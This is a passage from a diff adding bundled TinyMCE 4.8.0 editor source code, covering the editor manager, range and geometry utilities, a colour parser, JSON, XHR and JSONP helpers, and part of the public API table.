+      if ($_6cwiepljjgwe7j4.is(text, 'object') && $_6cwiepljjgwe7j4.hasOwn(text, 'raw')) {
+        return toString(text.raw);
+      }
+      if ($_6cwiepljjgwe7j4.is(text, 'array')) {
+        var values_1 = text.slice(1);
+        text = getLangData(text[0]).replace(/\{([0-9]+)\}/g, function ($1, $2) {
+          return $_6cwiepljjgwe7j4.hasOwn(values_1, $2) ? toString(values_1[$2]) : $1;
+        });
+      }
+      return getLangData(text).replace(/{context:\w+}$/, '');
+    },
+    data: data
+  };
+
+  var DOM$9 = DOMUtils$1.DOM;
+  var explode$4 = $_6cwiepljjgwe7j4.explode;
+  var each$22 = $_6cwiepljjgwe7j4.each;
+  var extend$5 = $_6cwiepljjgwe7j4.extend;
+  var instanceCounter = 0;
+  var beforeUnloadDelegate;
+  var EditorManager;
+  var boundGlobalEvents = false;
+  var legacyEditors = [];
+  var editors = [];
+  var isValidLegacyKey = function (id) {
+    return id !== 'length';
+  };
+  var globalEventDelegate = function (e) {
+    each$22(EditorManager.get(), function (editor) {
+      if (e.type === 'scroll') {
+        editor.fire('ScrollWindow', e);
+      } else {
+        editor.fire('ResizeWindow', e);
+      }
+    });
+  };
+  var toggleGlobalEvents = function (state) {
+    if (state !== boundGlobalEvents) {
+      if (state) {
+        DomQuery(window).on('resize scroll', globalEventDelegate);
+      } else {
+        DomQuery(window).off('resize scroll', globalEventDelegate);
+      }
+      boundGlobalEvents = state;
+    }
+  };
+  var removeEditorFromList = function (targetEditor) {
+    var oldEditors = editors;
+    delete legacyEditors[targetEditor.id];
+    for (var i = 0; i < legacyEditors.length; i++) {
+      if (legacyEditors[i] === targetEditor) {
+        legacyEditors.splice(i, 1);
+        break;
+      }
+    }
+    editors = filter(editors, function (editor) {
+      return targetEditor !== editor;
+    });
+    if (EditorManager.activeEditor === targetEditor) {
+      EditorManager.activeEditor = editors.length > 0 ? editors[0] : null;
+    }
+    if (EditorManager.focusedEditor === targetEditor) {
+      EditorManager.focusedEditor = null;
+    }
+    return oldEditors.length !== editors.length;
+  };
+  var purgeDestroyedEditor = function (editor) {
+    if (editor && editor.initialized && !(editor.getContainer() || editor.getBody()).parentNode) {
+      removeEditorFromList(editor);
+      editor.unbindAllNativeEvents();
+      editor.destroy(true);
+      editor.removed = true;
+      editor = null;
+    }
+    return editor;
+  };
+  EditorManager = {
+    defaultSettings: {},
+    $: DomQuery,
+    majorVersion: '4',
+    minorVersion: '8.0',
+    releaseDate: '2018-06-27',
+    editors: legacyEditors,
+    i18n: $_65s8hc80jjgwe94e,
+    activeEditor: null,
+    settings: {},
+    setup: function () {
+      var self$$1 = this;
+      var baseURL, documentBaseURL, suffix = '', preInit, src;
+      documentBaseURL = URI.getDocumentBaseUrl(document.location);
+      if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {
+        documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
+        if (!/[\/\\]$/.test(documentBaseURL)) {
+          documentBaseURL += '/';
+        }
+      }
+      preInit = window.tinymce || window.tinyMCEPreInit;
+      if (preInit) {
+        baseURL = preInit.base || preInit.baseURL;
+        suffix = preInit.suffix;
+      } else {
+        var scripts = document.getElementsByTagName('script');
+        for (var i = 0; i < scripts.length; i++) {
+          src = scripts[i].src;
+          var srcScript = src.substring(src.lastIndexOf('/'));
+          if (/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(src)) {
+            if (srcScript.indexOf('.min') !== -1) {
+              suffix = '.min';
+            }
+            baseURL = src.substring(0, src.lastIndexOf('/'));
+            break;
+          }
+        }
+        if (!baseURL && document.currentScript) {
+          src = document.currentScript.src;
+          if (src.indexOf('.min') !== -1) {
+            suffix = '.min';
+          }
+          baseURL = src.substring(0, src.lastIndexOf('/'));
+        }
+      }
+      self$$1.baseURL = new URI(documentBaseURL).toAbsolute(baseURL);
+      self$$1.documentBaseURL = documentBaseURL;
+      self$$1.baseURI = new URI(self$$1.baseURL);
+      self$$1.suffix = suffix;
+      $_8o8it37xjjgwe943.setup(self$$1);
+    },
+    overrideDefaults: function (defaultSettings) {
+      var baseUrl, suffix;
+      baseUrl = defaultSettings.base_url;
+      if (baseUrl) {
+        this.baseURL = new URI(this.documentBaseURL).toAbsolute(baseUrl.replace(/\/+$/, ''));
+        this.baseURI = new URI(this.baseURL);
+      }
+      suffix = defaultSettings.suffix;
+      if (defaultSettings.suffix) {
+        this.suffix = suffix;
+      }
+      this.defaultSettings = defaultSettings;
+      var pluginBaseUrls = defaultSettings.plugin_base_urls;
+      for (var name$$1 in pluginBaseUrls) {
+        AddOnManager.PluginManager.urls[name$$1] = pluginBaseUrls[name$$1];
+      }
+    },
+    init: function (settings) {
+      var self$$1 = this;
+      var result, invalidInlineTargets;
+      invalidInlineTargets = $_6cwiepljjgwe7j4.makeMap('area base basefont br col frame hr img input isindex link meta param embed source wbr track ' + 'colgroup option tbody tfoot thead tr script noscript style textarea video audio iframe object menu', ' ');
+      var isInvalidInlineTarget = function (settings, elm) {
+        return settings.inline && elm.tagName.toLowerCase() in invalidInlineTargets;
+      };
+      var createId = function (elm) {
+        var id = elm.id;
+        if (!id) {
+          id = elm.name;
+          if (id && !DOM$9.get(id)) {
+            id = elm.name;
+          } else {
+            id = DOM$9.uniqueId();
+          }
+          elm.setAttribute('id', id);
+        }
+        return id;
+      };
+      var execCallback = function (name$$1) {
+        var callback = settings[name$$1];
+        if (!callback) {
+          return;
+        }
+        return callback.apply(self$$1, Array.prototype.slice.call(arguments, 2));
+      };
+      var hasClass = function (elm, className) {
+        return className.constructor === RegExp ? className.test(elm.className) : DOM$9.hasClass(elm, className);
+      };
+      var findTargets = function (settings) {
+        var l, targets = [];
+        if ($_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie < 11) {
+          $_5ksiiu54jjgwe8k7.initError('TinyMCE does not support the browser you are using. For a list of supported' + ' browsers please see: https://www.tinymce.com/docs/get-started/system-requirements/');
+          return [];
+        }
+        if (settings.types) {
+          each$22(settings.types, function (type) {
+            targets = targets.concat(DOM$9.select(type.selector));
+          });
+          return targets;
+        } else if (settings.selector) {
+          return DOM$9.select(settings.selector);
+        } else if (settings.target) {
+          return [settings.target];
+        }
+        switch (settings.mode) {
+        case 'exact':
+          l = settings.elements || '';
+          if (l.length > 0) {
+            each$22(explode$4(l), function (id) {
+              var elm;
+              if (elm = DOM$9.get(id)) {
+                targets.push(elm);
+              } else {
+                each$22(document.forms, function (f) {
+                  each$22(f.elements, function (e) {
+                    if (e.name === id) {
+                      id = 'mce_editor_' + instanceCounter++;
+                      DOM$9.setAttrib(e, 'id', id);
+                      targets.push(e);
+                    }
+                  });
+                });
+              }
+            });
+          }
+          break;
+        case 'textareas':
+        case 'specific_textareas':
+          each$22(DOM$9.select('textarea'), function (elm) {
+            if (settings.editor_deselector && hasClass(elm, settings.editor_deselector)) {
+              return;
+            }
+            if (!settings.editor_selector || hasClass(elm, settings.editor_selector)) {
+              targets.push(elm);
+            }
+          });
+          break;
+        }
+        return targets;
+      };
+      var provideResults = function (editors) {
+        result = editors;
+      };
+      var initEditors = function () {
+        var initCount = 0;
+        var editors = [];
+        var targets;
+        var createEditor = function (id, settings, targetElm) {
+          var editor = new Editor(id, settings, self$$1);
+          editors.push(editor);
+          editor.on('init', function () {
+            if (++initCount === targets.length) {
+              provideResults(editors);
+            }
+          });
+          editor.targetElm = editor.targetElm || targetElm;
+          editor.render();
+        };
+        DOM$9.unbind(window, 'ready', initEditors);
+        execCallback('onpageload');
+        targets = DomQuery.unique(findTargets(settings));
+        if (settings.types) {
+          each$22(settings.types, function (type) {
+            $_6cwiepljjgwe7j4.each(targets, function (elm) {
+              if (DOM$9.is(elm, type.selector)) {
+                createEditor(createId(elm), extend$5({}, settings, type), elm);
+                return false;
+              }
+              return true;
+            });
+          });
+          return;
+        }
+        $_6cwiepljjgwe7j4.each(targets, function (elm) {
+          purgeDestroyedEditor(self$$1.get(elm.id));
+        });
+        targets = $_6cwiepljjgwe7j4.grep(targets, function (elm) {
+          return !self$$1.get(elm.id);
+        });
+        if (targets.length === 0) {
+          provideResults([]);
+        } else {
+          each$22(targets, function (elm) {
+            if (isInvalidInlineTarget(settings, elm)) {
+              $_5ksiiu54jjgwe8k7.initError('Could not initialize inline editor on invalid inline target element', elm);
+            } else {
+              createEditor(createId(elm), settings, elm);
+            }
+          });
+        }
+      };
+      self$$1.settings = settings;
+      DOM$9.bind(window, 'ready', initEditors);
+      return new promiseObj(function (resolve) {
+        if (result) {
+          resolve(result);
+        } else {
+          provideResults = function (editors) {
+            resolve(editors);
+          };
+        }
+      });
+    },
+    get: function (id) {
+      if (arguments.length === 0) {
+        return editors.slice(0);
+      } else if (isString(id)) {
+        return find(editors, function (editor) {
+          return editor.id === id;
+        }).getOr(null);
+      } else if (isNumber(id)) {
+        return editors[id] ? editors[id] : null;
+      } else {
+        return null;
+      }
+    },
+    add: function (editor) {
+      var self$$1 = this;
+      var existingEditor;
+      existingEditor = legacyEditors[editor.id];
+      if (existingEditor === editor) {
+        return editor;
+      }
+      if (self$$1.get(editor.id) === null) {
+        if (isValidLegacyKey(editor.id)) {
+          legacyEditors[editor.id] = editor;
+        }
+        legacyEditors.push(editor);
+        editors.push(editor);
+      }
+      toggleGlobalEvents(true);
+      self$$1.activeEditor = editor;
+      self$$1.fire('AddEditor', { editor: editor });
+      if (!beforeUnloadDelegate) {
+        beforeUnloadDelegate = function () {
+          self$$1.fire('BeforeUnload');
+        };
+        DOM$9.bind(window, 'beforeunload', beforeUnloadDelegate);
+      }
+      return editor;
+    },
+    createEditor: function (id, settings) {
+      return this.add(new Editor(id, settings, this));
+    },
+    remove: function (selector) {
+      var self$$1 = this;
+      var i, editor;
+      if (!selector) {
+        for (i = editors.length - 1; i >= 0; i--) {
+          self$$1.remove(editors[i]);
+        }
+        return;
+      }
+      if (isString(selector)) {
+        each$22(DOM$9.select(selector), function (elm) {
+          editor = self$$1.get(elm.id);
+          if (editor) {
+            self$$1.remove(editor);
+          }
+        });
+        return;
+      }
+      editor = selector;
+      if (isNull(self$$1.get(editor.id))) {
+        return null;
+      }
+      if (removeEditorFromList(editor)) {
+        self$$1.fire('RemoveEditor', { editor: editor });
+      }
+      if (editors.length === 0) {
+        DOM$9.unbind(window, 'beforeunload', beforeUnloadDelegate);
+      }
+      editor.remove();
+      toggleGlobalEvents(editors.length > 0);
+      return editor;
+    },
+    execCommand: function (cmd, ui, value) {
+      var self$$1 = this, editor = self$$1.get(value);
+      switch (cmd) {
+      case 'mceAddEditor':
+        if (!self$$1.get(value)) {
+          new Editor(value, self$$1.settings, self$$1).render();
+        }
+        return true;
+      case 'mceRemoveEditor':
+        if (editor) {
+          editor.remove();
+        }
+        return true;
+      case 'mceToggleEditor':
+        if (!editor) {
+          self$$1.execCommand('mceAddEditor', 0, value);
+          return true;
+        }
+        if (editor.isHidden()) {
+          editor.show();
+        } else {
+          editor.hide();
+        }
+        return true;
+      }
+      if (self$$1.activeEditor) {
+        return self$$1.activeEditor.execCommand(cmd, ui, value);
+      }
+      return false;
+    },
+    triggerSave: function () {
+      each$22(editors, function (editor) {
+        editor.save();
+      });
+    },
+    addI18n: function (code, items) {
+      $_65s8hc80jjgwe94e.add(code, items);
+    },
+    translate: function (text) {
+      return $_65s8hc80jjgwe94e.translate(text);
+    },
+    setActive: function (editor) {
+      var activeEditor = this.activeEditor;
+      if (this.activeEditor !== editor) {
+        if (activeEditor) {
+          activeEditor.fire('deactivate', { relatedTarget: editor });
+        }
+        editor.fire('activate', { relatedTarget: activeEditor });
+      }
+      this.activeEditor = editor;
+    }
+  };
+  extend$5(EditorManager, $_5fwo104qjjgwe8hz);
+  EditorManager.setup();
+  var EditorManager$1 = EditorManager;
+
+  function RangeUtils(dom) {
+    var walk = function (rng, callback) {
+      return $_e2gzn43bjjgwe82k.walk(dom, rng, callback);
+    };
+    var split = $_10670d6ajjgwe8rj.split;
+    var normalize = function (rng) {
+      return $_eqgqyj4jjjgwe8gi.normalize(dom, rng).fold(constant(false), function (normalizedRng) {
+        rng.setStart(normalizedRng.startContainer, normalizedRng.startOffset);
+        rng.setEnd(normalizedRng.endContainer, normalizedRng.endOffset);
+        return true;
+      });
+    };
+    return {
+      walk: walk,
+      split: split,
+      normalize: normalize
+    };
+  }
+  (function (RangeUtils) {
+    RangeUtils.compareRanges = $_g1gkxh4kjjgwe8gw.isEq;
+    RangeUtils.getCaretRangeFromPoint = $_269jak6xjjgwe8wp.fromPoint;
+    RangeUtils.getSelectedNode = getSelectedNode;
+    RangeUtils.getNode = getNode;
+  }(RangeUtils || (RangeUtils = {})));
+  var RangeUtils$1 = RangeUtils;
+
+  var min = Math.min;
+  var max = Math.max;
+  var round$2 = Math.round;
+  var relativePosition = function (rect, targetRect, rel) {
+    var x, y, w, h, targetW, targetH;
+    x = targetRect.x;
+    y = targetRect.y;
+    w = rect.w;
+    h = rect.h;
+    targetW = targetRect.w;
+    targetH = targetRect.h;
+    rel = (rel || '').split('');
+    if (rel[0] === 'b') {
+      y += targetH;
+    }
+    if (rel[1] === 'r') {
+      x += targetW;
+    }
+    if (rel[0] === 'c') {
+      y += round$2(targetH / 2);
+    }
+    if (rel[1] === 'c') {
+      x += round$2(targetW / 2);
+    }
+    if (rel[3] === 'b') {
+      y -= h;
+    }
+    if (rel[4] === 'r') {
+      x -= w;
+    }
+    if (rel[3] === 'c') {
+      y -= round$2(h / 2);
+    }
+    if (rel[4] === 'c') {
+      x -= round$2(w / 2);
+    }
+    return create$3(x, y, w, h);
+  };
+  var findBestRelativePosition = function (rect, targetRect, constrainRect, rels) {
+    var pos, i;
+    for (i = 0; i < rels.length; i++) {
+      pos = relativePosition(rect, targetRect, rels[i]);
+      if (pos.x >= constrainRect.x && pos.x + pos.w <= constrainRect.w + constrainRect.x && pos.y >= constrainRect.y && pos.y + pos.h <= constrainRect.h + constrainRect.y) {
+        return rels[i];
+      }
+    }
+    return null;
+  };
+  var inflate = function (rect, w, h) {
+    return create$3(rect.x - w, rect.y - h, rect.w + w * 2, rect.h + h * 2);
+  };
+  var intersect = function (rect, cropRect) {
+    var x1, y1, x2, y2;
+    x1 = max(rect.x, cropRect.x);
+    y1 = max(rect.y, cropRect.y);
+    x2 = min(rect.x + rect.w, cropRect.x + cropRect.w);
+    y2 = min(rect.y + rect.h, cropRect.y + cropRect.h);
+    if (x2 - x1 < 0 || y2 - y1 < 0) {
+      return null;
+    }
+    return create$3(x1, y1, x2 - x1, y2 - y1);
+  };
+  var clamp$1 = function (rect, clampRect, fixedSize) {
+    var underflowX1, underflowY1, overflowX2, overflowY2, x1, y1, x2, y2, cx2, cy2;
+    x1 = rect.x;
+    y1 = rect.y;
+    x2 = rect.x + rect.w;
+    y2 = rect.y + rect.h;
+    cx2 = clampRect.x + clampRect.w;
+    cy2 = clampRect.y + clampRect.h;
+    underflowX1 = max(0, clampRect.x - x1);
+    underflowY1 = max(0, clampRect.y - y1);
+    overflowX2 = max(0, x2 - cx2);
+    overflowY2 = max(0, y2 - cy2);
+    x1 += underflowX1;
+    y1 += underflowY1;
+    if (fixedSize) {
+      x2 += underflowX1;
+      y2 += underflowY1;
+      x1 -= overflowX2;
+      y1 -= overflowY2;
+    }
+    x2 -= overflowX2;
+    y2 -= overflowY2;
+    return create$3(x1, y1, x2 - x1, y2 - y1);
+  };
+  var create$3 = function (x, y, w, h) {
+    return {
+      x: x,
+      y: y,
+      w: w,
+      h: h
+    };
+  };
+  var fromClientRect = function (clientRect) {
+    return create$3(clientRect.left, clientRect.top, clientRect.width, clientRect.height);
+  };
+  var $_5hxmix82jjgwe94o = {
+    inflate: inflate,
+    relativePosition: relativePosition,
+    findBestRelativePosition: findBestRelativePosition,
+    intersect: intersect,
+    clamp: clamp$1,
+    create: create$3,
+    fromClientRect: fromClientRect
+  };
+
+  var types = {};
+  var $_9yg02e83jjgwe94t = {
+    add: function (type, typeClass) {
+      types[type.toLowerCase()] = typeClass;
+    },
+    has: function (type) {
+      return !!types[type.toLowerCase()];
+    },
+    get: function (type) {
+      var lctype = type.toLowerCase();
+      var controlType = types.hasOwnProperty(lctype) ? types[lctype] : null;
+      if (controlType === null) {
+        throw new Error('Could not find module for type: ' + type);
+      }
+      return controlType;
+    },
+    create: function (type, settings) {
+      var ControlType;
+      if (typeof type === 'string') {
+        settings = settings || {};
+        settings.type = type;
+      } else {
+        settings = type;
+        type = settings.type;
+      }
+      type = type.toLowerCase();
+      ControlType = types[type];
+      if (!ControlType) {
+        throw new Error('Could not find control by type: ' + type);
+      }
+      ControlType = new ControlType(settings);
+      ControlType.type = type;
+      return ControlType;
+    }
+  };
+
+  var each$23 = $_6cwiepljjgwe7j4.each;
+  var extend$6 = $_6cwiepljjgwe7j4.extend;
+  var extendClass;
+  var initializing;
+  var Class$1 = function () {
+  };
+  Class$1.extend = extendClass = function (prop) {
+    var self = this;
+    var _super = self.prototype;
+    var prototype, name, member;
+    var Class = function () {
+      var i, mixins, mixin;
+      var self = this;
+      if (!initializing) {
+        if (self.init) {
+          self.init.apply(self, arguments);
+        }
+        mixins = self.Mixins;
+        if (mixins) {
+          i = mixins.length;
+          while (i--) {
+            mixin = mixins[i];
+            if (mixin.init) {
+              mixin.init.apply(self, arguments);
+            }
+          }
+        }
+      }
+    };
+    var dummy = function () {
+      return this;
+    };
+    var createMethod = function (name, fn) {
+      return function () {
+        var self = this;
+        var tmp = self._super;
+        var ret;
+        self._super = _super[name];
+        ret = fn.apply(self, arguments);
+        self._super = tmp;
+        return ret;
+      };
+    };
+    initializing = true;
+    prototype = new self();
+    initializing = false;
+    if (prop.Mixins) {
+      each$23(prop.Mixins, function (mixin) {
+        for (var name_1 in mixin) {
+          if (name_1 !== 'init') {
+            prop[name_1] = mixin[name_1];
+          }
+        }
+      });
+      if (_super.Mixins) {
+        prop.Mixins = _super.Mixins.concat(prop.Mixins);
+      }
+    }
+    if (prop.Methods) {
+      each$23(prop.Methods.split(','), function (name) {
+        prop[name] = dummy;
+      });
+    }
+    if (prop.Properties) {
+      each$23(prop.Properties.split(','), function (name) {
+        var fieldName = '_' + name;
+        prop[name] = function (value) {
+          var self = this;
+          if (value !== undefined) {
+            self[fieldName] = value;
+            return self;
+          }
+          return self[fieldName];
+        };
+      });
+    }
+    if (prop.Statics) {
+      each$23(prop.Statics, function (func, name) {
+        Class[name] = func;
+      });
+    }
+    if (prop.Defaults && _super.Defaults) {
+      prop.Defaults = extend$6({}, _super.Defaults, prop.Defaults);
+    }
+    for (name in prop) {
+      member = prop[name];
+      if (typeof member === 'function' && _super[name]) {
+        prototype[name] = createMethod(name, member);
+      } else {
+        prototype[name] = member;
+      }
+    }
+    Class.prototype = prototype;
+    Class.constructor = Class;
+    Class.extend = extendClass;
+    return Class;
+  };
+
+  var min$1 = Math.min;
+  var max$1 = Math.max;
+  var round$3 = Math.round;
+  var Color = function (value) {
+    var self = {};
+    var r = 0, g = 0, b = 0;
+    var rgb2hsv = function (r, g, b) {
+      var h, s, v, d, minRGB, maxRGB;
+      h = 0;
+      s = 0;
+      v = 0;
+      r = r / 255;
+      g = g / 255;
+      b = b / 255;
+      minRGB = min$1(r, min$1(g, b));
+      maxRGB = max$1(r, max$1(g, b));
+      if (minRGB === maxRGB) {
+        v = minRGB;
+        return {
+          h: 0,
+          s: 0,
+          v: v * 100
+        };
+      }
+      d = r === minRGB ? g - b : b === minRGB ? r - g : b - r;
+      h = r === minRGB ? 3 : b === minRGB ? 1 : 5;
+      h = 60 * (h - d / (maxRGB - minRGB));
+      s = (maxRGB - minRGB) / maxRGB;
+      v = maxRGB;
+      return {
+        h: round$3(h),
+        s: round$3(s * 100),
+        v: round$3(v * 100)
+      };
+    };
+    var hsvToRgb = function (hue, saturation, brightness) {
+      var side, chroma, x, match;
+      hue = (parseInt(hue, 10) || 0) % 360;
+      saturation = parseInt(saturation, 10) / 100;
+      brightness = parseInt(brightness, 10) / 100;
+      saturation = max$1(0, min$1(saturation, 1));
+      brightness = max$1(0, min$1(brightness, 1));
+      if (saturation === 0) {
+        r = g = b = round$3(255 * brightness);
+        return;
+      }
+      side = hue / 60;
+      chroma = brightness * saturation;
+      x = chroma * (1 - Math.abs(side % 2 - 1));
+      match = brightness - chroma;
+      switch (Math.floor(side)) {
+      case 0:
+        r = chroma;
+        g = x;
+        b = 0;
+        break;
+      case 1:
+        r = x;
+        g = chroma;
+        b = 0;
+        break;
+      case 2:
+        r = 0;
+        g = chroma;
+        b = x;
+        break;
+      case 3:
+        r = 0;
+        g = x;
+        b = chroma;
+        break;
+      case 4:
+        r = x;
+        g = 0;
+        b = chroma;
+        break;
+      case 5:
+        r = chroma;
+        g = 0;
+        b = x;
+        break;
+      default:
+        r = g = b = 0;
+      }
+      r = round$3(255 * (r + match));
+      g = round$3(255 * (g + match));
+      b = round$3(255 * (b + match));
+    };
+    var toHex = function () {
+      var hex = function (val) {
+        val = parseInt(val, 10).toString(16);
+        return val.length > 1 ? val : '0' + val;
+      };
+      return '#' + hex(r) + hex(g) + hex(b);
+    };
+    var toRgb = function () {
+      return {
+        r: r,
+        g: g,
+        b: b
+      };
+    };
+    var toHsv = function () {
+      return rgb2hsv(r, g, b);
+    };
+    var parse = function (value) {
+      var matches;
+      if (typeof value === 'object') {
+        if ('r' in value) {
+          r = value.r;
+          g = value.g;
+          b = value.b;
+        } else if ('v' in value) {
+          hsvToRgb(value.h, value.s, value.v);
+        }
+      } else {
+        if (matches = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)[^\)]*\)/gi.exec(value)) {
+          r = parseInt(matches[1], 10);
+          g = parseInt(matches[2], 10);
+          b = parseInt(matches[3], 10);
+        } else if (matches = /#([0-F]{2})([0-F]{2})([0-F]{2})/gi.exec(value)) {
+          r = parseInt(matches[1], 16);
+          g = parseInt(matches[2], 16);
+          b = parseInt(matches[3], 16);
+        } else if (matches = /#([0-F])([0-F])([0-F])/gi.exec(value)) {
+          r = parseInt(matches[1] + matches[1], 16);
+          g = parseInt(matches[2] + matches[2], 16);
+          b = parseInt(matches[3] + matches[3], 16);
+        }
+      }
+      r = r < 0 ? 0 : r > 255 ? 255 : r;
+      g = g < 0 ? 0 : g > 255 ? 255 : g;
+      b = b < 0 ? 0 : b > 255 ? 255 : b;
+      return self;
+    };
+    if (value) {
+      parse(value);
+    }
+    self.toRgb = toRgb;
+    self.toHsv = toHsv;
+    self.toHex = toHex;
+    self.parse = parse;
+    return self;
+  };
+
+  var serialize = function (o, quote) {
+    var i, v, t, name;
+    quote = quote || '"';
+    if (o === null) {
+      return 'null';
+    }
+    t = typeof o;
+    if (t === 'string') {
+      v = '\bb\tt\nn\ff\rr""\'\'\\\\';
+      return quote + o.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g, function (a, b) {
+        if (quote === '"' && a === '\'') {
+          return a;
+        }
+        i = v.indexOf(b);
+        if (i + 1) {
+          return '\\' + v.charAt(i + 1);
+        }
+        a = b.charCodeAt().toString(16);
+        return '\\u' + '0000'.substring(a.length) + a;
+      }) + quote;
+    }
+    if (t === 'object') {
+      if (o.hasOwnProperty && Object.prototype.toString.call(o) === '[object Array]') {
+        for (i = 0, v = '['; i < o.length; i++) {
+          v += (i > 0 ? ',' : '') + serialize(o[i], quote);
+        }
+        return v + ']';
+      }
+      v = '{';
+      for (name in o) {
+        if (o.hasOwnProperty(name)) {
+          v += typeof o[name] !== 'function' ? (v.length > 1 ? ',' + quote : quote) + name + quote + ':' + serialize(o[name], quote) : '';
+        }
+      }
+      return v + '}';
+    }
+    return '' + o;
+  };
+  var $_28aphl86jjgwe953 = {
+    serialize: serialize,
+    parse: function (text) {
+      try {
+        return JSON.parse(text);
+      } catch (ex) {
+      }
+    }
+  };
+
+  var $_cmhhqy87jjgwe955 = {
+    callbacks: {},
+    count: 0,
+    send: function (settings) {
+      var self = this, dom = DOMUtils$1.DOM, count = settings.count !== undefined ? settings.count : self.count;
+      var id = 'tinymce_jsonp_' + count;
+      self.callbacks[count] = function (json) {
+        dom.remove(id);
+        delete self.callbacks[count];
+        settings.callback(json);
+      };
+      dom.add(dom.doc.body, 'script', {
+        id: id,
+        src: settings.url,
+        type: 'text/javascript'
+      });
+      self.count++;
+    }
+  };
+
+  var XHR = {
+    send: function (settings) {
+      var xhr, count = 0;
+      var ready = function () {
+        if (!settings.async || xhr.readyState === 4 || count++ > 10000) {
+          if (settings.success && count < 10000 && xhr.status === 200) {
+            settings.success.call(settings.success_scope, '' + xhr.responseText, xhr, settings);
+          } else if (settings.error) {
+            settings.error.call(settings.error_scope, count > 10000 ? 'TIMED_OUT' : 'GENERAL', xhr, settings);
+          }
+          xhr = null;
+        } else {
+          setTimeout(ready, 10);
+        }
+      };
+      settings.scope = settings.scope || this;
+      settings.success_scope = settings.success_scope || settings.scope;
+      settings.error_scope = settings.error_scope || settings.scope;
+      settings.async = settings.async === false ? false : true;
+      settings.data = settings.data || '';
+      XHR.fire('beforeInitialize', { settings: settings });
+      xhr = new XMLHttpRequest();
+      if (xhr) {
+        if (xhr.overrideMimeType) {
+          xhr.overrideMimeType(settings.content_type);
+        }
+        xhr.open(settings.type || (settings.data ? 'POST' : 'GET'), settings.url, settings.async);
+        if (settings.crossDomain) {
+          xhr.withCredentials = true;
+        }
+        if (settings.content_type) {
+          xhr.setRequestHeader('Content-Type', settings.content_type);
+        }
+        if (settings.requestheaders) {
+          $_6cwiepljjgwe7j4.each(settings.requestheaders, function (header) {
+            xhr.setRequestHeader(header.key, header.value);
+          });
+        }
+        xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
+        xhr = XHR.fire('beforeSend', {
+          xhr: xhr,
+          settings: settings
+        }).xhr;
+        xhr.send(settings.data);
+        if (!settings.async) {
+          return ready();
+        }
+        setTimeout(ready, 10);
+      }
+    }
+  };
+  $_6cwiepljjgwe7j4.extend(XHR, $_5fwo104qjjgwe8hz);
+
+  var extend$7 = $_6cwiepljjgwe7j4.extend;
+  var JSONRequest = function (settings) {
+    this.settings = extend$7({}, settings);
+    this.count = 0;
+  };
+  JSONRequest.sendRPC = function (o) {
+    return new JSONRequest().send(o);
+  };
+  JSONRequest.prototype = {
+    send: function (args) {
+      var ecb = args.error, scb = args.success;
+      args = extend$7(this.settings, args);
+      args.success = function (c, x) {
+        c = $_28aphl86jjgwe953.parse(c);
+        if (typeof c === 'undefined') {
+          c = { error: 'JSON Parse error.' };
+        }
+        if (c.error) {
+          ecb.call(args.error_scope || args.scope, c.error, x);
+        } else {
+          scb.call(args.success_scope || args.scope, c.result);
+        }
+      };
+      args.error = function (ty, x) {
+        if (ecb) {
+          ecb.call(args.error_scope || args.scope, ty, x);
+        }
+      };
+      args.data = $_28aphl86jjgwe953.serialize({
+        id: args.id || 'c' + this.count++,
+        method: args.method,
+        params: args.params
+      });
+      args.content_type = 'application/json';
+      XHR.send(args);
+    }
+  };
+
+  var localStorage$$1 = window.localStorage;
+
+  var tinymce = EditorManager$1;
+  var publicApi = {
+    geom: { Rect: $_5hxmix82jjgwe94o },
+    util: {
+      Promise: promiseObj,
+      Delay: $_9o1ijaijjgwe7dm,
+      Tools: $_6cwiepljjgwe7j4,
+      VK: $_9udk9k5wjjgwe8on,
+      URI: URI,
+      Class: Class$1,
+      EventDispatcher: Dispatcher,
+      Observable: $_5fwo104qjjgwe8hz,
+      I18n: $_65s8hc80jjgwe94e,
+      XHR: XHR,
+      JSON: $_28aphl86jjgwe953,
+      JSONRequest: JSONRequest,
+      JSONP: $_cmhhqy87jjgwe955,
+      LocalStorage: localStorage$$1,
+      Color: Color
+    },
+    dom: {
+      EventUtils: EventUtils,
+      Sizzle: Sizzle,
+      DomQuery: DomQuery,
+      TreeWalker: TreeWalker,
+      DOMUtils: DOMUtils$1,
+      ScriptLoader: ScriptLoader,
+      RangeUtils: RangeUtils$1,
+      Serializer: DomSerializer$1,
+      ControlSelection: ControlSelection,
+      BookmarkManager: BookmarkManager$1,
+      Selection: Selection$1,
+      Event: EventUtils.Event
+    },
+    html: {
+      Styles: Styles,
+      Entities: $_6pqr9q1sjjgwe7qj,
+      Node: Node$2,
+      Schema: Schema,
+      SaxParser: SaxParser$1,
+      DomParser: DomParser,
+      Writer: Writer,
+      Serializer: HtmlSerializer
+    },
+    ui: { Factory: $_9yg02e83jjgwe94t },
+    Env: $_bcvfv9ajjgwe79v,
+    AddOnManager: AddOnManager,
+    Annotator: Annotator,
+    Formatter: Formatter,
+    UndoManager: UndoManager,
+    EditorCommands: EditorCommands,
+    WindowManager: WindowManager,
+    NotificationManager: NotificationManager,
+    EditorObservable: EditorObservable$1,
+    Shortcuts: Shortcuts,
+    Editor: Editor,
+    FocusManager: $_264dtu7yjjgwe947,
+    EditorManager: EditorManager$1,
+    DOM: DOMUtils$1.DOM,
+    ScriptLoader: ScriptLoader.ScriptLoader,
+    PluginManager: AddOnManager.PluginManager,
+    ThemeManager: AddOnManager.ThemeManager,
+    trim: $_6cwiepljjgwe7j4.trim,
+    isArray: $_6cwiepljjgwe7j4.isArray,
+    is: $_6cwiepljjgwe7j4.is,
+    toArray: $_6cwiepljjgwe7j4.toArray,
+    makeMap: $_6cwiepljjgwe7j4.makeMap,
+    each: $_6cwiepljjgwe7j4.each,
+    map: $_6cwiepljjgwe7j4.map,
+    grep: $_6cwiepljjgwe7j4.grep,
+    inArray: $_6cwiepljjgwe7j4.inArray,
+    extend: $_6cwiepljjgwe7j4.extend,
+    create: $_6cwiepljjgwe7j4.create,
+    walk: $_6cwiepljjgwe7j4.walk,
+    createNS: $_6cwiepljjgwe7j4.createNS,
+    resolve: $_6cwiepljjgwe7j4.resolve,
